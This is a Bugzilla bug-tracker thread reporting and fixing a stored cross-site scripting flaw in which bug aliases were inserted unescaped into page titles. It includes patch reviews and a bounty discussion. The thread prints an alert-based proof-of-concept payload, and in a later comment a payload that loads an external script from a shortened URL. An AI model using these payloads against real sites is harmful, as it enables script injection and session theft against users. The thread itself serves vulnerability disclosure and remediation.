In order to reproduce change the alias for any bug to the following: > </title>"><script>alert(/xss/)</script> After changing reload the bug. You will see two alerts saying "xss". One is coming from the alias being inserted unescaped in the bug title, the other from the same issue in the OpenGraph extension. The underlying issue is the same: template/en/default/bug/show-header.html.tmpl template escapes the bug description when composing the title variable but forgets to escape the alias. OpenGraph extension also assumes that this variable is escaped and takes it over without additional escaping. The upstream fix landed two years ago: https://github.com/bugzilla/bugzilla/commit/11829ac0a3822b246b76c00375c7e4137f9af33b.
and this wasn't picked up by BMO because we only support a single alias, I imagine. :-/
The patch in https://github.com/bugzilla/bugzilla/commit/11829ac0a3822b246b76c00375c7e4137f9af33b is not sufficient to fix bmo.
Created attachment 8725239 [details] [diff] [review] 1252437_1.patch Fixes bug modal as well. quick review for the push?
Comment on attachment 8725239 [details] [diff] [review] 1252437_1.patch Review of attachment 8725239 [details] [diff] [review]: ----------------------------------------------------------------- lgtm r=glob ::: extensions/BugModal/template/en/default/bug_modal/header.html.tmpl @@ +15,4 @@ > END; > title = "$bug.bug_id - "; > IF bug.alias; > + filtered_alias = bug.alias FILTER html; remove trailing whitespace
To ssh://firstname.lastname@example.org/webtools/bmo/bugzilla.git 8ce1053..33c79b8 master -> master This is also going out today
Created attachment 8725250 [details] [diff] [review] 1252437_2.patch Quick fix for the BMO extension sabotaging the affair...
Created attachment 8725253 [details] [diff] [review] 1252437_3.patch
Comment on attachment 8725253 [details] [diff] [review] 1252437_3.patch Review of attachment 8725253 [details] [diff] [review]: ----------------------------------------------------------------- fixes the issue for me locally. r=dkl ::: extensions/BMO/template/en/default/hook/bug/show-header-end.html.tmpl @@ +14,4 @@ > [% END %] > [% title = "$bug.bug_id – " %] > [% IF bug.alias != '' %] > + [% filtered_alias = bug.alias FILTER html %] No need for this as already declared in template/en/default/bug/show-header.html.tmpl
To ssh://email@example.com/webtools/bmo/bugzilla.git 33c79b8..c6e5e86 master -> master Not changing the patch mid-stream, as I'm going to be changing everything that touches title after we're through this problem.
1252437_1.patch shouldn't be obsolete, no? It landed as well and it's necessary in addition to 1252437_3.patch.
(In reply to Dylan William Hardison [:dylan] from comment #13) > The reporter of the previous bug is long term bugzilla contributor Frederic > Buclin and he said it was not worth a bounty. Oh, I didn't realize that bug 842063 comment 6 was the bug reporter. Well, if he doesn't want a bounty then it's ok - the flag can be removed here then. > Possibly because aliases are limited to 20 characters. 20 characters would have been tricky, going below 25 characters is hard. The actual length limit is 40 characters however which is more than sufficient for a malicious payload.
Sorry about the bug spam, no idea how that status change happened.
Restoring bounty flag because this seems to be different from bug 842063: that patch was insufficient to fix us (comment 3), and our alias is apparently longer, possibly enough to cause problems. Wladimir did us a service by telling us we missed this issue. Is there a way around the whitespace limitation? Without the ability to include external script src there's still probably not enough room to do anything worthwhile and sec-high would overstate the risk
Sure, setting </title><script/src="//bit.ly/1Tn1h26"> as alias will happily load an external script.
(In reply to Daniel Veditz [:dveditz] from comment #16) > Restoring bounty flag because this seems to be different from bug 842063: > that patch was insufficient to fix us (comment 3), and our alias is > apparently longer, possibly enough to cause problems. fwiw the bug alias length was increased from 20 to 40 chars upstream in bug 1012506 (via bug 833611) and as followed suit in bug 1062940. (after bug 842063).
> .. and as followed suit in .. .. and we followed suit in ..